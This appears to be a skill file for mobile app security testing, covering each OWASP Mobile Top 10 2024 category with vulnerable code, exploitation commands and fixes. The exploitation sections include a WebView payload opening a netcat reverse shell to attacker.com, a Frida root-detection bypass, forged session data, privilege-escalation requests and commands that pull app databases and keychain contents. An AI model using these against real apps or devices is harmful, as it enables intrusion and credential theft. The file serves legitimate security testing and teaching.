| name | OWASP Mobile Top 10 |
| description | OWASP Mobile Application Security Top 10 2024 — iOS/Android vulnerabilities, reverse engineering, and exploit techniques |
| tags | ["owasp","mobile","security","android","ios","vulnerability","top10","m01","m02","m03","m04","m05","m06","m07","m08","m09","m10"] |
Task: OWASP Mobile Top 10 Security Analysis. Analyze mobile applications for the OWASP Mobile Application Security Verification Standard (MASVS) Top 10 2024 vulnerabilities.
OWASP Mobile Top 10 2024 Categories
M01: Improper Platform Usage
Rank: #1 - Misuse of Android/iOS platform features
Android Detection:
File file = new File(Environment.getExternalStorageDirectory(), "config.json");
SharedPreferences prefs = getSharedPreferences("app_prefs", MODE_WORLD_READABLE);
<activity android:name=".LoginActivity" android:exported="true">
<service android:name=".AuthService" android:exported="true">
Intent intent = new Intent();
intent.setAction("com.example.ACTION_SEND_DATA");
intent.putExtra("sensitive_data", data);
sendBroadcast(intent);
PendingIntent pendingIntent = PendingIntent.getService(..., intent, FLAG_UPDATE_CURRENT);
Log.d("TAG", "Token: " + authToken);
Log.d("TAG", "Password: " + password);
iOS Detection:
let path = NSTemporaryDirectory() + "config.json"
UserDefaults.standard.set(password, forKey: "password")
NSLog("Token: %@", authToken)
print("Password: %@", password)
UIPasteboard.general.string = sensitiveData
Exploitation:
adb shell
run-as com.example.app
ls /sdcard/Android/data/com.example.app/
adb shell dumpsys package com.example.app | grep -A 20 "Exported services"
adb shell am start -n com.evil.app/.HijackActivity -a com.example.ACTION
ssh root@iphone_ip
cd /var/mobile/Containers/Data/Application/{UUID}/
cat Documents/config.json
security find-generic-password -s "com.example.app"
Remediation:
EncryptedSharedPreferences.create(
"secret_shared_prefs",
masterKeyAlias,
context,
EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
);
File file = new File(context.getFilesDir(), "config.json");
<activity android:name=".LoginActivity" android:exported="false">
Intent intent = new Intent(context, TargetActivity.class);
M02: Insecure Data Storage
Rank: #2
Detection Patterns:
SQLiteDatabase db = openOrCreateDatabase("app.db", MODE_PRIVATE, null);
SharedPreferences prefs = getSharedPreferences("creds", MODE_PRIVATE);
prefs.edit().putString("password", pass).commit();
File temp = File.createTempFile("cache", ".tmp");
let container = NSPersistentContainer(name: "DataModel")
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrAccount as String: "user",
kSecValueData as String: password.data(using: .utf8)!
]
Exploitation:
adb shell
run-as com.example.app
cp /data/data/com.example.app/databases/app.db /sdcard/
adb pull /sdcard/app.db
sqlite3 app.db
cat /data/data/com.example.app/shared_prefs/creds.xml
scp root@iphone_ip:/var/mobile/Containers/Data/Application/{UUID}/Library/Application Support/db.sqlite .
security dump-keychain | grep -A 10 "com.example.app"
Remediation:
SQLiteDatabase.loadLibs(context);
String dbPath = getDatabasePath("encrypted.db").getAbsolutePath();
SQLiteDatabaseHook hook = new SQLiteDatabaseHook("passphrase".getBytes());
SQLiteDatabase db = SQLiteDatabase.openDatabase(dbPath, hook, OPEN_READWRITE);
EncryptedSharedPreferences.create(...)
let description = NSPersistentStoreDescription(url: storeURL)
description.setOption(true as NSNumber, forKey: NSPersistentStoreFileProtectionKey)
let query: [String: Any] = [
kSecClass: kSecClassGenericPassword,
kSecAttrAccount: "user",
kSecValueData: password.data(using: .utf8)!,
kSecAttrAccessControl: SecAccessControlCreateWithFlags(
kSecAttrAccessibleWhenUnlockedThisDeviceOnly,
.userPresence
)!
]
M03: Insecure Communication
Rank: #3
Detection Patterns:
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
TrustManager[] trustAllCerts = new TrustManager[] {
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
}
};
http:
Exploitation:
tcpdump -i wlan0 -A 'tcp port 80'
frida -U -l frida_cert_pinning_bypass.js -f com.example.app
// SSLContext.init(null, trustAll, null)
Remediation:
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="false">
<trust-anchors>
<certificates src="system" />
<certificates src="@raw/my_ca" />
</trust-anchors>
</base-config>
</network-security-config>
OkHttpClient client = new OkHttpClient.Builder()
.certificatePinner(
new CertificatePinner.Builder()
.add("api.example.com", "sha256/AAAAAAAAAA...")
.build())
.build();
M04: Insecure Authentication
Rank: #4
Detection Patterns:
if (prefs.getString("logged_in", "false").equals("true")) {
}
private static final String API_KEY = "sk_live_12345";
private static final String PASSWORD = "admin123";
SharedPreferences prefs = getSharedPreferences("session", MODE_PRIVATE);
prefs.edit().putLong("expiry", Long.MAX_VALUE).commit();
Exploitation:
adb pull /data/app/com.example.app/base.apk
apktool d base.apk
grep -r "sk_live" base.apk/
adb shell
run-as com.example.app
cd /data/data/com.example.app/shared_prefs
echo '<map><string name="logged_in">true</string></map>' > session.xml
Remediation:
JwtParser parser = Jwts.parser()
.setSigningKey(key)
.build();
Claims claims = parser.parseClaimsJws(token).getBody();
Date exp = claims.getExpiration();
BiometricPrompt.PromptInfo promptInfo = new BiometricPrompt.PromptInfo.Builder()
.setTitle("Authenticate")
.setSubtitle("Use biometric to login")
.setNegativeButtonText("Cancel")
.build();
M05: Insufficient Cryptography
Rank: #5
Detection Patterns:
Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
MessageDigest md = MessageDigest.getInstance("MD5");
SecretKeySpec key = new SecretKeySpec("weakkey", "AES");
IvParameterSpec iv = new IvParameterSpec("fixed_iv_12345");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
Random random = new Random();
SecureRandom secureRandom = new SecureRandom();
let cipher = CCRCryptorCreate(kCCAlgorithmDES, ...)
let hash = MD5(data)
let key = "weakkey".data(using: .utf8)
Exploitation:
openssl des-ecb -d -in encrypted.dat -out decrypted.txt -K 7765616b6b6579
Remediation:
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
GCMParameterSpec gcmSpec = new GCMParameterSpec(128, ivBytes);
MessageDigest digest = MessageDigest.getInstance("SHA-256");
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(256);
SecretKey key = keyGen.generateKey();
SecureRandom secureRandom = SecureRandom.getInstance("SHA1PRNG");
byte[] iv = new byte[16];
secureRandom.nextBytes(iv);
let key = SymmetricKey(size: .init(bitCount: 256))
let sealedBox = try AES.GCM.seal(plaintext, using: key)
M06: Insecure Authorization
Rank: #6
Detection Patterns:
if (userRole.equals("admin")) {
}
GET /api/users/{id}/profile
POST /api/users/role {userId: 123, role: "admin"}
Exploitation:
apktool d app.apk
apktool b app -o modded.apk
curl -X GET https://api.example.com/users/1/profile
curl -X GET https://api.example.com/users/2/profile
curl -X POST https://api.example.com/users/role \
-H "Authorization: Bearer regular_user_token" \
-d '{"role":"admin"}'
Remediation:
if (!isAdmin(userId)) {
return FORBIDDEN;
}
if (resource.ownerId != currentUserId) {
return FORBIDDEN;
}
@PreAuthorize("hasRole('ADMIN')")
@RolesAllowed("ADMIN")
M07: Client Code Quality
Rank: #7 - Code quality issues leading to security vulnerabilities
Detection Patterns:
Runtime.getRuntime().exec(userInput);
String query = "SELECT * FROM users WHERE id = " + userId;
webView.addJavascriptInterface(new JSBridge(), "bridge");
DexClassLoader loader = new DexClassLoader(dexPath, ...);
Class.forName(userClassName).newInstance();
eval(userInput)
let bundle = Bundle(path: userPath)
bundle?.load()
contentController.add(self, name: "handler")
Exploitation:
<script>
window.bridge.exec("system", "nc attacker.com 4444 -e /bin/sh")
</script>
frida -U -l exploit.js -f com.example.app
Remediation:
if (!isValidInput(userInput)) return;
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
@JavascriptInterface
public void safeMethod(String data) {
if (!isValid(data)) return;
}
android {
buildTypes {
release {
minifyEnabled true
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt')
}
}
}
M08: Code Tampering
Rank: #8
Detection Patterns:
android:debuggable="true"
Exploitation:
apktool d app.apk
apktool b app -o modded.apk
jarsigner -keystore my.keystore modded.apk
adb install modded.apk
Java.perform(function() {
var RootChecker = Java.use("com.example.security.RootChecker");
RootChecker.isRooted.implementation = function() {
return false;
};
});
class-dump ipa.swiftdump
frida -U -l jailbreak_bypass.js -f com.example.app
Remediation:
public boolean isRooted() {
String[] rootPaths = {
"/system/app/Superuser.apk",
"/sbin/su",
"/system/bin/su"
};
for (String path : rootPaths) {
if (new File(path).exists()) return true;
}
return false;
}
public boolean verifySignature() {
PackageManager pm = context.getPackageManager();
PackageInfo packageInfo = pm.getPackageInfo(
context.getPackageName(),
PackageManager.GET_SIGNATURES
);
}
func isJailbroken() -> Bool {
let jailbreakPaths = [
"/Applications/Cydia.app",
"/private/var/lib/apt/"
]
for path in jailbreakPaths {
if FileManager.default.fileExists(atPath: path) {
return true
}
}
return false
}
M09: Reverse Engineering
**Rank: **
Detection Patterns:
// APK Without Obfuscation
// Code easily readable
// iOS Binary Without Strip
// Symbols exposed
// Hardcoded Logic
// Security checks visible
// String Exposure
// Error messages reveal logic
Tools for Reverse Engineering:
Android:
apktool d app.apk
d2j-dex2jar app.apk
JD-GUI app.jar
baksmali app.apk
Ghidra libnative.so
Frida
objection explore
iOS:
clutch -o decrypted.ipa com.example.app
class-dump decrypted.app
class-dump-swift decrypted.ipa
Hopper disassembled.app
IDA disassembled.app
Frida
cycript
Remediation:
android {
buildTypes {
release {
minifyEnabled true
shrinkResources true
proguardFiles 'proguard-rules.pro'
}
}
}
M10: Extraneous Functionality
Rank: #10 - Debug/test features in production
Detection Patterns:
if (BuildConfig.DEBUG) {
enableDevTools();
}
if (username.equals("admin") && password.equals("test123")) {
grantAllAccess();
}
Log.d("DEBUG", "Sensitive data: " + data);
if (input.equals("b4ckd00r")) {
loginAsAdmin();
}
Exploitation:
curl http://app.example.com/debug/clear_cache
curl http://app.example.com/debug/export_db
strings app.apk | grep -i "test\|debug\|dev"
Remediation:
if (!BuildConfig.DEBUG) {
return;
}
android {
buildTypes {
release {
minifyEnabled true
shrinkResources true
}
}
}
-assumenosideeffects class android.util.Log {
public static *** d(...);
public static *** v(...);
}
Testing Workflow
Static Analysis
1. Decompilation
- Android: apktool + jadx
- iOS: clutch + class-dump
2. Code Review
- Hardcoded secrets
- Insecure patterns
- Debug code
3. Configuration Check
- AndroidManifest.xml
- Info.plist
- network_security_config.xml
Dynamic Analysis
1. Runtime Inspection
- Frida scripts
- objection explore
- Xposed modules
2. Network Analysis
- Burp Suite proxy
- mitmproxy
3. File System
- Container inspection
- Database extraction
- Keychain access
Tools
- Mobile Security Framework (MobSF): Automated security testing
- Frida: Dynamic instrumentation
- Objection: Runtime mobile exploration
- Burp Suite: Web traffic analysis
- apktool: APK decompilation
- jadx: DEX to Java
- IDA Pro/Ghidra: Native code analysis